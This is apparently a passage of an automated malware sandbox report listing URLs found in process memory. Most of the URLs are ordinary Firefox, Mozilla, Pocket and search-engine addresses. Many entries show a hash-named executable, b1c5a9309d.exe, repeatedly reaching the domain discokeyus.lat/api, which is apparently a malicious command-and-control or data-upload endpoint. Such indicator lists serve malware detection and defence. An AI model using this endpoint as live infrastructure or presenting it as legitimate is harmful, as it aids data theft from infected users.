Source: 140460b5fe.exe, 0000000B.00000003.2875427797.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726785957.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726119931.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726520214.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2819329376.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2818888885.0000000005CBB000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2821619319.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780285141.000001C13753C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780453438.000001C13755A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3210127000.000001C133720000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2779789861.000001C137300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780110569.000001C13751F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001C.00000002.3358356541.000001C137C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.3376855261.000001C138E59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: firefox.exe, 0000001C.00000002.3114255755.000001C1330B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3001793073.00000231946C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C02EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: firefox.exe, 0000001C.00000002.3114255755.000001C1330B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3001793073.00000231946C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C02EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001C.00000003.2893092457.000001C13B1D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001C.00000003.2893092457.000001C13B1D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3374498227.000001C138C37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3356200604.000001C137ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001C.00000002.3372926017.000001C138B55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: b1c5a9309d.exe, 0000000C.00000003.2817537726.0000000001622000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000002.2952562572.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat
Source: b1c5a9309d.exe, 0000000C.00000003.2803095307.000000000163D000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000002.2954786705.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2901799963.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2917479566.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2776055082.0000000001693000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2950313069.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2949141197.00000000014A7000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000002.3008566091.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000002.3008987033.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2948679433.00000000014A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/
Source: b1c5a9309d.exe, 0000000C.00000002.2954786705.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2901799963.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2917479566.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/#l
Source: b1c5a9309d.exe, 0000000C.00000003.2844934441.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2863390658.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2901799963.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/(l
Source: b1c5a9309d.exe, 0000000C.00000003.2905040057.000000000164D000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000002.2954361918.000000000164E000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2938028651.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat//
Source: b1c5a9309d.exe, 0000000C.00000003.2844934441.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/:l
Source: b1c5a9309d.exe, 0000000C.00000003.2901799963.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/Nm
Source: b1c5a9309d.exe, 0000000C.00000003.2722504547.000000000163D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/W
Source: b1c5a9309d.exe, 0000000C.00000003.2722504547.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/YwI
Source: b1c5a9309d.exe, 00000010.00000003.2950313069.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2949141197.00000000014A7000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000002.3008566091.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2948679433.00000000014A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/ad
Source: b1c5a9309d.exe, 00000010.00000002.3008987033.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2885754844.0000000005C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api
Source: b1c5a9309d.exe, 0000000C.00000003.2722504547.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api)hF
Source: b1c5a9309d.exe, 0000000C.00000003.2844934441.00000000016B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api2A
Source: b1c5a9309d.exe, 0000000C.00000003.2803095307.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2776055082.00000000016B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apiWindows
Source: b1c5a9309d.exe, 0000000C.00000003.2722504547.000000000163D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apif
Source: b1c5a9309d.exe, 0000000C.00000003.2917479566.0000000001699000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000002.2954786705.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apii
Source: b1c5a9309d.exe, 0000000C.00000003.2901799963.0000000001694000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2917479566.0000000001699000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2863390658.000000000169A000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000002.2954786705.000000000169A000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2844934441.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apill
Source: b1c5a9309d.exe, 0000000C.00000003.2821757656.000000000169A000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2818317671.0000000001699000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2803095307.0000000001693000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2817325747.0000000001694000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2776055082.0000000001693000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2844934441.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apioohckoC
Source: b1c5a9309d.exe, 0000000C.00000003.2722504547.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apis
Source: b1c5a9309d.exe, 0000000C.00000003.2776055082.00000000016B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apitF
Source: b1c5a9309d.exe, 0000000C.00000003.2905040057.000000000164D000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2803095307.000000000163D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/d
Source: b1c5a9309d.exe, 0000000C.00000003.2844934441.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2863390658.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000002.2954786705.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2901799963.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2917479566.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/dm
Source: b1c5a9309d.exe, 0000000C.00000002.2954786705.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2917479566.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/mm
Source: b1c5a9309d.exe, 0000000C.00000003.2722504547.000000000163D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/n
Source: b1c5a9309d.exe, 0000000C.00000003.2817537726.0000000001619000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2922529147.0000000001619000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000002.2952562572.0000000001619000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000002.2998393956.000000000142A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat:443/api
Source: b1c5a9309d.exe, 0000000C.00000003.2722504547.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat:443/api(f
Source: b1c5a9309d.exe, 0000000A.00000002.2612219203.000000000160C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat:443/apiJ
Source: b1c5a9309d.exe, 00000010.00000002.2998393956.000000000142A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat:443/apiK
Source: b1c5a9309d.exe, 0000000C.00000003.2817537726.0000000001619000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2922529147.0000000001619000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000002.2952562572.0000000001619000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2722504547.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat:443/apiMf
Source: b1c5a9309d.exe, 00000010.00000002.2998393956.000000000142A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat:443/apiTv
Source: b1c5a9309d.exe, 0000000C.00000003.2922529147.0000000001619000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000002.2952562572.0000000001619000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000002.2998393956.000000000142A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat:443/apirsion.txtPK
Source: firefox.exe, 0000001C.00000003.2780650124.000001C137577000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3029971404.0000006D1E600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3372926017.000001C138B8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780285141.000001C13753C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3358356541.000001C137CE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780453438.000001C13755A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3322743316.000001C135936000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3267954961.000001C1346A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3210127000.000001C133720000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2779789861.000001C137300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2780110569.000001C13751F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: 140460b5fe.exe, 0000000B.00000003.2875427797.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726785957.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726119931.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726520214.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2819329376.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2818888885.0000000005CBB000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2821619319.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 140460b5fe.exe, 0000000B.00000003.2875427797.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726785957.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726119931.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726520214.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2819329376.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2818888885.0000000005CBB000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2821619319.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 140460b5fe.exe, 0000000B.00000003.2875427797.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726785957.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726119931.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 0000000C.00000003.2726520214.0000000005D99000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2819329376.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2818888885.0000000005CBB000.00000004.00000800.00020000.00000000.sdmp, b1c5a9309d.exe, 00000010.00000003.2821619319.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2788435083.000001C137133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2788867167.000001C13712D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3209453144.000001C13367D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2789668372.000001C137133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3338858600.000001C137126000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2953394370.000001C137127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001C.00000002.3322743316.000001C1359A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001C.00000002.3322743316.000001C1359A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001C.00000002.3322743316.000001C1359BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2788435083.000001C137133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2788867167.000001C13712D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2789668372.000001C137133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3338858600.000001C137126000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2953394370.000001C137127000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sresource://gre/modules/AppMenuNotifications.sys.mj
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001C.00000002.3337005558.000001C136FE0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsdocum
Source: firefox.exe, 0000001C.00000002.3267954961.000001C134654000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3164130592.000001C1331C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3267954961.000001C134641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001C.00000002.3322148417.000001C135280000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997479236.0000023194360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3013502829.00000229C0690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133AB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2916154035.000001C139BA4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C02C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133AB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2916154035.000001C139BA4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C02C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001C.00000003.2898771747.000001C13AC47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133AB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C022F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001C.00000003.2890634348.000001C13F8C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 0000001C.00000003.2890634348.000001C13F8C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 0000001C.00000003.2890634348.000001C13F8C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 0000001C.00000003.2890634348.000001C13F8C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000003.2890634348.000001C13F8C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 0000001C.00000003.2890634348.000001C13F8C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 0000001C.00000003.2890634348.000001C13F8C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2916154035.000001C139BA4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C02C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000003.2890634348.000001C13F8C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 0000001C.00000003.2890634348.000001C13F8C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2916154035.000001C139BA4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997965644.00000229C02C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
